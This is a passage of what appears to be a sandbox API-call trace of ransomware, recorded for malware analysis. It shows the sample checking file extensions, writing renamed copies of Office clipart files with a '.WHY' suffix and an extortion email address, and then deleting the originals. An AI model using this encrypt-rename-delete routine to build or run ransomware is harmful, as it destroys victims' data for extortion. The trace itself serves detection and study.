lpString2=".WMF") returned -1 [0242.736] lstrlenW (lpString=".bz2") returned 4 [0242.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.736] lstrlenW (lpString=".7z") returned 3 [0242.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0242.736] lstrlenW (lpString=".dbf") returned 4 [0242.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0242.736] lstrlenW (lpString=".1cd") returned 4 [0242.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0242.736] lstrlenW (lpString=".jpg") returned 4 [0242.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.737] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0242.737] lstrlenW (lpString="AN00932_.WMF") returned 12 [0242.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0242.748] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=14428) returned 1 [0242.748] CloseHandle (hObject=0x3a4) returned 1 [0242.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 0x20 [0242.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0242.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0242.780] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.780] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0242.782] GetLastError () returned 0x0 [0242.782] ReadFile (in: hFile=0x384, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x385c, lpOverlapped=0x0) returned 1 [0242.788] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x3860, lpOverlapped=0x0) returned 1 [0242.791] ReadFile (in: hFile=0x384, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.791] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.792] SetEndOfFile (hFile=0x3a8) returned 1 [0242.792] CloseHandle (hObject=0x3a8) returned 1 [0242.798] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.798] SetEndOfFile (hFile=0x384) returned 1 [0242.805] CloseHandle (hObject=0x384) returned 1 [0242.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0242.806] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0242.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0242.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0242.806] lstrlenW (lpString=".doc") returned 4 [0242.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.807] lstrlenW (lpString=".docx") returned 5 [0242.807] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.807] lstrlenW (lpString=".pdf") returned 4 [0242.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.807] lstrlenW (lpString=".xls") returned 4 [0242.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.807] lstrlenW (lpString=".xlsx") returned 5 [0242.807] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.807] lstrlenW (lpString=".ppt") returned 4 [0242.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0242.808] lstrlenW (lpString=".zip") returned 4 [0242.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.808] lstrlenW (lpString=".rar") returned 4 [0242.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.809] lstrlenW (lpString=".bz2") returned 4 [0242.809] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.809] lstrlenW (lpString=".7z") returned 3 [0242.809] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0242.809] lstrlenW (lpString=".dbf") returned 4 [0242.809] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0242.809] lstrlenW (lpString=".1cd") returned 4 [0242.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0242.809] lstrlenW (lpString=".jpg") returned 4 [0242.810] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0242.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0242.810] lstrlenW (lpString=".doc") returned 4 [0242.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.810] lstrlenW (lpString=".docx") returned 5 [0242.810] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.810] lstrlenW (lpString=".pdf") returned 4 [0242.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.810] lstrlenW (lpString=".xls") returned 4 [0242.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.810] lstrlenW (lpString=".xlsx") returned 5 [0242.811] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.811] lstrlenW (lpString=".ppt") returned 4 [0242.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0242.811] lstrlenW (lpString=".zip") returned 4 [0242.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.811] lstrlenW (lpString=".rar") returned 4 [0242.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.811] lstrlenW (lpString=".bz2") returned 4 [0242.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.811] lstrlenW (lpString=".7z") returned 3 [0242.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0242.812] lstrlenW (lpString=".dbf") returned 4 [0242.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0242.812] lstrlenW (lpString=".1cd") returned 4 [0242.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0242.812] lstrlenW (lpString=".jpg") returned 4 [0242.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.813] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0242.813] lstrlenW (lpString="AN00965_.WMF") returned 12 [0242.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0242.814] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=7072) returned 1 [0242.814] CloseHandle (hObject=0x384) returned 1 [0242.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 0x20 [0242.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0242.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0242.815] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.815] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0242.818] GetLastError () returned 0x0 [0242.818] ReadFile (in: hFile=0x384, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x1ba0, lpOverlapped=0x0) returned 1 [0242.823] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0242.826] ReadFile (in: hFile=0x384, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.826] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.827] SetEndOfFile (hFile=0x3a8) returned 1 [0242.827] CloseHandle (hObject=0x3a8) returned 1 [0242.830] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.830] SetEndOfFile (hFile=0x384) returned 1 [0242.836] CloseHandle (hObject=0x384) returned 1 [0242.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0242.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0242.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0242.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0242.838] lstrlenW (lpString=".doc") returned 4 [0242.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.838] lstrlenW (lpString=".docx") returned 5 [0242.838] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.838] lstrlenW (lpString=".pdf") returned 4 [0242.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.839] lstrlenW (lpString=".xls") returned 4 [0242.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.839] lstrlenW (lpString=".xlsx") returned 5 [0242.839] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.840] lstrlenW (lpString=".ppt") returned 4 [0242.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0242.840] lstrlenW (lpString=".zip") returned 4 [0242.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.840] lstrlenW (lpString=".rar") returned 4 [0242.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.840] lstrlenW (lpString=".bz2") returned 4 [0242.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.840] lstrlenW (lpString=".7z") returned 3 [0242.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0242.840] lstrlenW (lpString=".dbf") returned 4 [0242.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0242.841] lstrlenW (lpString=".1cd") returned 4 [0242.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0242.841] lstrlenW (lpString=".jpg") returned 4 [0242.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0242.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0242.841] lstrlenW (lpString=".doc") returned 4 [0242.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.841] lstrlenW (lpString=".docx") returned 5 [0242.841] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.842] lstrlenW (lpString=".pdf") returned 4 [0242.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.842] lstrlenW (lpString=".xls") returned 4 [0242.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.842] lstrlenW (lpString=".xlsx") returned 5 [0242.842] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.842] lstrlenW (lpString=".ppt") returned 4 [0242.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0242.842] lstrlenW (lpString=".zip") returned 4 [0242.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.843] lstrlenW (lpString=".rar") returned 4 [0242.843] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.843] lstrlenW (lpString=".bz2") returned 4 [0242.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.843] lstrlenW (lpString=".7z") returned 3 [0242.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0242.843] lstrlenW (lpString=".dbf") returned 4 [0242.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0242.843] lstrlenW (lpString=".1cd") returned 4 [0242.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0242.844] lstrlenW (lpString=".jpg") returned 4 [0242.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.844] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0242.844] lstrlenW (lpString="AN01039_.WMF") returned 12 [0242.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0242.845] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=3344) returned 1 [0242.845] CloseHandle (hObject=0x384) returned 1 [0242.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 0x20 [0242.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0242.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0242.847] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.847] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0242.848] GetLastError () returned 0x0 [0242.848] ReadFile (in: hFile=0x384, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0xd10, lpOverlapped=0x0) returned 1 [0242.854] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0242.857] ReadFile (in: hFile=0x384, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.857] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.858] SetEndOfFile (hFile=0x3a8) returned 1 [0242.858] CloseHandle (hObject=0x3a8) returned 1 [0242.859] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.859] SetEndOfFile (hFile=0x384) returned 1 [0242.866] CloseHandle (hObject=0x384) returned 1 [0242.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0242.868] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0242.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0242.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0242.869] lstrlenW (lpString=".doc") returned 4 [0242.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.870] lstrlenW (lpString=".docx") returned 5 [0242.870] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.870] lstrlenW (lpString=".pdf") returned 4 [0242.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.870] lstrlenW (lpString=".xls") returned 4 [0242.870] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.870] lstrlenW (lpString=".xlsx") returned 5 [0242.870] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.870] lstrlenW (lpString=".ppt") returned 4 [0242.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0242.871] lstrlenW (lpString=".zip") returned 4 [0242.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.871] lstrlenW (lpString=".rar") returned 4 [0242.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.871] lstrlenW (lpString=".bz2") returned 4 [0242.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.871] lstrlenW (lpString=".7z") returned 3 [0242.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0243.078] lstrlenW (lpString=".dbf") returned 4 [0243.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0243.078] lstrlenW (lpString=".1cd") returned 4 [0243.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0243.078] lstrlenW (lpString=".jpg") returned 4 [0243.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0243.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0243.078] lstrlenW (lpString=".doc") returned 4 [0243.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.079] lstrlenW (lpString=".docx") returned 5 [0243.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.079] lstrlenW (lpString=".pdf") returned 4 [0243.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.079] lstrlenW (lpString=".xls") returned 4 [0243.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.079] lstrlenW (lpString=".xlsx") returned 5 [0243.079] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.079] lstrlenW (lpString=".ppt") returned 4 [0243.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0243.080] lstrlenW (lpString=".zip") returned 4 [0243.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.080] lstrlenW (lpString=".rar") returned 4 [0243.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.080] lstrlenW (lpString=".bz2") returned 4 [0243.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.080] lstrlenW (lpString=".7z") returned 3 [0243.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0243.080] lstrlenW (lpString=".dbf") returned 4 [0243.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0243.081] 